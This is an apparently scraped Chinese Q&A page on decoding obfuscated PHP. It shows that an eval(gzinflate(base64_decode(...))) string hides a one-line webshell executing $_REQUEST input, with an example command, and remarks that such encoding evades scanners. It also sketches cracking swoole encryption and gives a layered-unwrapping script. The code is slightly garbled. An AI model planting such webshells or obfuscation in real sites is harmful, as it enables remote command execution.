PHP解密..不懂php,解密eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)))

PHP解密..不懂php,解密eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&))),第1张

你可以编辑一个php文件,输入

<php echo

gzinflate(base64_decode("40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA=="));

>

然后运行这个文件 php testphp 就能看到结果了。

这种方式是很弱的加密,但能避开很多代码检测工具。很多wordpress的插件和木马都采用这种模式。

wordpress常footer进行加密,因为里面包含作者的链接和申明,如果去掉这行代码,整个页面就不能正确显示。

木马可以通过这种隐秘的方式传入一段代码让php执行,像上面的例子,结果是 echo `$_REQUEST[a]`;; > 所以你在URL里传入 /?a=ls -al; 就会列出当前目录下所有文件。

恩,这是一款有扩展的加密,其实swoole解密很简单,要解密它,就先了解一下它是怎么工作的。

它的执行步骤是:①加密时获取PHP整个文件的代码 → ②对代码进行加密 → ③通过扩展对代码进行解密 → ④对解密代码进行opcode处理 → ⑤执行PHP代码。

所以解密就需要对他的扩展dll(windows下用)或so(Linux下用)文件分析。现在说说怎么解密它,解密方式有二种:

方法A:针对PHP执行的时候进行破解

方法B:针对PHP解密的时候进行破解

先说说方法A,“针对PHP执行的时候进行破解”,也就是在上面的第⑤个步骤才开始处理,但是此时,PHP代码是经过opcode处理过的,而且破解方法较烦琐,需要处理很多语法,所破解出来的代码,和文件的原代码也有所不一样(可能有10%的地方不同,不过这个不同,也有很多人喜欢,因为它会把原代码中复杂的语法破解成很多条简单的语法),既然是破解,就要100%一样,所以这个方法我个人认为并不是好方法。

所以用方法B:“针对PHP解密的时候进行破解”,也就是在上面的第③个步骤就进行处理,此时解密出来的和用户原代码完全一样,具体破解方法是不会公布的了,人家是一款商业软件。有兴趣的可以自己去学习分析,不过可以提一下,关键点在于从它的扩展文件(dll或so)分析出它的加密函数和加密密码,然后用这个对密文进行解密(解密前要排除掉前面的一些特征代码)。

这样加密作者很无赖和变态,因为明明知道这样的加密破解是易如反掌的,而却还变态的把代码加密无数次。

我写了下面两个PHP文件:

//BPHP

<php

$str=file_get_contents('2txt');

while (preg_match("/eval\(gzinflate\(str_rot13\(base64_decode\('([^'])'/",$str,$match)){

$fp=fopen('1txt','w');

fputs($fp,$match[1]);

fclose($fp);

system('php aphp');

$str=file_get_contents('2txt');

}

>

//APHP

<php

$str=file_get_contents('1txt');

$str=base64_decode($str);

$str=str_rot13($str);

$str=gzinflate($str);

$fp=fopen('2txt','w');

fputs($fp,$str);

fclose($fp);

>

把你的代码保存为2TXT,在CMD下运行下面的命令:

PHP BPHP

过一会程序执行完毕,2TXT就是解密后的代码。

解密后的程序代码如下:

function isEmpty($str){

if(($str==null) || (strlen($str)==0))

return(false);

 else return(true);}

  

  function zSubStr($string,$sublen)

    {

      if($sublen>=strlen($string))

      {

        return $string;

      }

      $s="";

      for($i=0;$i<$sublen;$i++)

      {

        if(ord($string{$i})>127) 

        {

            $s=$string{$i}$string{++$i};

            continue;

        }else{

            $s=$string{$i};

            continue;

        } 

      }

      return $s;

    }

  

$str_j ='e';

$msgc=zSubStr($msgc,10);

$uname=zSubStr($uname,9);

$font = "/fonts/FZWBJWTTF";

$font1 = "/fonts/TattooTTF";

$imp = imagecreatefromJPEG('images/7jpg');

$dim=getimagesize('images/7jpg');

$lung=$dim[0];

$lat=$dim[1];

$im = imagecreatetruecolor($lung,$lat);

$white = imagecolorallocate($im,255,255,255);

imagecolortransparent($im,$white);

ImageCopyResampled($im,$imp,0,0,0,0,$lung,$lat,$lung,$lat);

imagefill($im,0,0,$white );

$str_m = iconv("GB2312","UTF-8","$msgc");

$str_u = iconv("GB2312","UTF-8","$uname");

$green = imagecolorallocate($im,42,108,107);    

ImageTTFText($im,15,0,200,249,$green,$font,$str_m);

ImageTTFText($im,15,0,200,220,$green,$font,$str_u);

ImageTTFText($im,50,0,100,245,$green,$font1,$str_j);

header("content-type:image/jpeg");

imagejpeg($im); 

imagedestroy($im); 

以上就是关于PHP解密..不懂php,解密eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)))全部的内容,包括:PHP解密..不懂php,解密eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)))、我是php新手,请问swoole怎么解密呢、求 php 解密eval(gzinflate(str_rot13(base64_decode等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/zz/10054084.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-04
下一篇 2023-05-04

发表评论

登录后才能评论

评论列表(0条)

保存